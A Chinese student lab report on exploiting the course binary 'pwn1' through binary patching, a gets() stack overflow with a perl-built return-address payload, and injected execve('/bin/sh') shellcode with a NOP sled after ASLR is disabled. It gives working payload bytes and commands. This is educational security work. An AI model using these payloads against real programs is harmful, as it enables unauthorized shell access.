一、实验内容
本次实验以Linux可执行文件pwn1
为对象,核心目标是通过三种技术手段篡改程序执行流程,触发原本不可运行的getShell
函数或自定义shellcode,具体如下:
(一)手工修改可执行文件,直接跳转到getShell
函数
通过objdump
工具反汇编pwn1
,获取main
函数调用foo
的指令地址,以及getShell
函数的入口地址;使用二进制编辑工具修改main
函数中“调用foo
”的call
指令目标地址,将其替换为getShell
的入口地址,使程序启动后直接执行getShell
,绕过正常的main→foo
调用流程。
(二)利用foo
函数的Bof漏洞,覆盖返回地址触发getShell
foo
函数因调用gets()
(无输入长度限制)存在栈溢出(Bof)漏洞。通过分析foo
的栈结构,计算覆盖函数返回地址(EIP)的偏移量,构造含getShell
入口地址(需符合x86架构小端字节序)的攻击字符串;将该字符串注入pwn1
,利用栈溢出覆盖栈中原本的返回地址,使foo
执行完毕后,程序跳转到getShell
而非原返回地址。
(三)注入自定义shellcode并运行
首先关闭pwn1
的NX保护,确保栈中代码可被CPU执行;编写“获取交互式Shell”的32位Linux自定义shellcode(核心功能为调用execve("/bin/sh")
);通过gdb
调试确定shellcode在栈中的起始地址,构造含NOP填充(容错地址偏差)与shellcode的攻击Payload;利用foo
函数的栈溢出漏洞,将Payload注入程序,使程序执行流跳转到栈中的shellcode,最终运行自定义代码并获取Shell。
实验过程需熟练使用gdb
(程序调试)、objdump
(反汇编)、perl
(构造攻击字符串)等工具,重点理解小端字节序、栈结构、堆栈权限等底层核心概念,掌握“篡改执行流”“漏洞利用”“代码注入”三类典型攻击思路。
二、实验过程
1. 直接修改程序机器指令,改变程序执行流程
- 文件准备与反汇编
将目标文件pwn1
导入Linux虚拟机,执行指令:
分析得知:objdump -d pwn1 > pwn1_disasm.txt # 反汇编结果输出到文件,便于分析
main
函数调用foo
的指令机器码为e8 d7 ff ff ff
(d7 ff ff ff
是指向foo
的偏移),需将偏移改为c3 ff ff ff
(对应getShell
入口地址0x0804847d
)。
- 复制文件并进入十六进制编辑
避免破坏原文件,先复制文件:
在Vi中切换为十六进制显示模式:cp pwn1 20232325pwn2 vi 20232325pwn2 # 用Vi打开复制文件
:%!xxd # 文本转十六进制
- 修改机器码并恢复格式
搜索需修改的内容:
将/e8d7 # 查找call指令对应的十六进制"e8 d7"
d7
改为c3
,之后恢复二进制格式并保存::%!xxd -r # 十六进制转文本(二进制) :wq # 保存退出
- 验证修改结果
因20232325pwn2
异常,重新创建20232325pwn22
并重复上述修改;
验证call
指令目标:
运行验证:objdump -d 20232325pwn22 | grep call # 确认是否指向getShell
./20232325pwn22 # 成功弹出shell提示符($)
2. 通过构造输入参数,发起BOF攻击,改变程序执行流
2.1 漏洞前置分析
执行反汇编指令了解程序结构:
objdump -d pwn1
关键信息:
foo
函数用gets()
读取输入,仅预留28字节缓冲区,存在BOF漏洞;main
调用foo
时,会将返回地址0x080484ba
压入栈,输入超28字节会覆盖该地址。
2.2 定位返回地址覆盖位置
构造规律测试字符串(共40字节):
1111111122222222333333334444444412345678
(前32字节分段填充,后8字节用12345678
标记返回地址区域)
程序崩溃后通过GDB调试发现:返回地址被1234
(ASCII码0x34333231
)覆盖,即第33-36字节会覆盖返回地址(EIP)。
2.3 确定覆盖返回地址的数值
getShell
入口地址:0x0804847d
(反汇编获取);- 字节序:x86为小端序,地址需转为
\x7d\x84\x04\x08
(而非大端\x08\x04\x84\x7d
); - 攻击字符串结构:
前32字节填充字符 + \x7d\x84\x04\x08
。
2.4 构造攻击字符串并触发漏洞
用Perl生成含十六进制字符的攻击字符串:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(\x0a
为换行符,确保gets()
完整读取)
通过管道注入输入:
cat input | ./pwn1 # 成功弹出shell提示符
3. 注入Shellcode并执行
3.1 准备Shellcode
选用32位Linux“获取交互式Shell”的经典Shellcode(23字节):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
功能:调用execve("/bin/sh", ["/bin/sh", NULL], NULL)
,获取Shell。
3.2 关闭地址随机化
Linux默认开启地址随机化(干扰Shellcode地址定位),执行关闭指令(需root权限):
more /proc/sys/kernel/randomize_va_space # 查看当前值(默认2)
echo "0" > /proc/sys/kernel/randomize_va_space # 关闭随机化
more /proc/sys/kernel/randomize_va_space # 验证(显示0)
3.3 构造注入Payload
采用“NOP填充 + Shellcode + 返回地址
”结构:
- NOP填充:10字节
\x90
(容错地址偏差,作为“滑行区”); - 返回地址:需指向栈中NOP区域(确保跳转到NOP后滑入Shellcode)。
3.4 调试获取返回地址
- 终端1启动程序:
./pwn20232325 # 保持等待输入状态
- 终端2查找进程号并附加GDB:
ps -aux | grep pwn20232325 # 示例进程号:7685 gdb -p 7685 # 附加调试
- GDB中设置断点并查看栈地址:
终端1输入任意字符触发断点,GDB中查看栈指针:b foo # 在foo函数入口设断点 c # 继续运行程序
info registers esp # 示例ESP地址:0xffffd000,确定返回地址为0xffffd010
3.5 执行注入并验证
将返回地址0xffffd010
转为小端\x10\xd0\xff\xff
,生成Payload:
perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x10\xd0\xff\xff\x0a"' > shellcode_input
注入执行:
cat shellcode_input | ./pwn20232325 # 成功弹出shell提示符
三、问题分析
问题1:gdb调试pwn1提示“权限不够”
描述
启动gdb pwn1
调试程序时,终端反复提示权限不足,无法加载程序进行调试。
解决方案
通过分析判断,问题根源为pwn1
缺少可执行权限(Linux中可执行文件需x
权限才能运行或调试)。执行以下指令为pwn1
添加可执行权限:
chmod +x pwn1 # 赋予文件所有者可执行权限
权限添加后,重新启动gdb pwn1
,可正常加载程序进行调试。
问题2:cp
复制的pwn2修改后无法正常运行
描述
通过cp pwn1 pwn2
复制文件后,按步骤修改二进制指令并保存,但执行./pwn2
时提示“无法执行二进制文件”或程序崩溃,排除修改操作错误的可能。
解决方案
对比原文件pwn1
与复制文件pwn2
的属性,发现cp
命令虽复制了文件内容,但可能因系统环境或文件权限继承问题导致文件完整性异常。改用图形化界面复制,确保文件属性与原文件一致;重新对图形化复制的pwn2
进行二进制修改,保存后执行./pwn2
,程序可正常运行并触发getShell
。
问题3:gdb依赖包反复下载失败,无法推进实验
描述
首次使用gdb
时,系统提示缺少gdb-multiarch
或相关依赖包,执行apt install gdb
尝试安装,但因软件源配置异常或网络问题,下载过程频繁中断,始终无法完成安装,导致调试环节停滞。
解决方案
考虑到现有虚拟机环境配置存在底层问题,选择重新安装虚拟机,并在新系统中优先更新软件源:
sudo apt update # 更新软件源列表
sudo apt install gdb # 重新安装gdb
新环境中gdb
安装成功,可正常启动并调试pwn1
,实验得以继续。
四、学习感悟
这次实验首先让我对网络攻防的认识从高高在上、云里雾里的高端技术落地到可以一步步操作的具体过程,让我对网络攻防有了更直观的认识。
同样我也明白了想要学习好网络攻防是需要有一套完整的综合技能的,比如linux的基础知识、vi的使用、gdb调试程序等等,当然在这个过程中不擅长的总比擅长的多,不能畏惧艰难,而是坚持学习,使用各种工具和资料咬着牙做下去,网络攻防技术才能进一步精进。
当遇到不在预期内的困难时,也不能急躁,而是通过观察具体地址与数据、搜索具体资料、向ai提问来解决并搞懂到底为什么出现这些问题。
本次实验让我受益良多,同时也激发了我对网络攻防技术的兴趣,在日后的学习生活中我一定会进一步精进自己的技术,征服一个个高峰。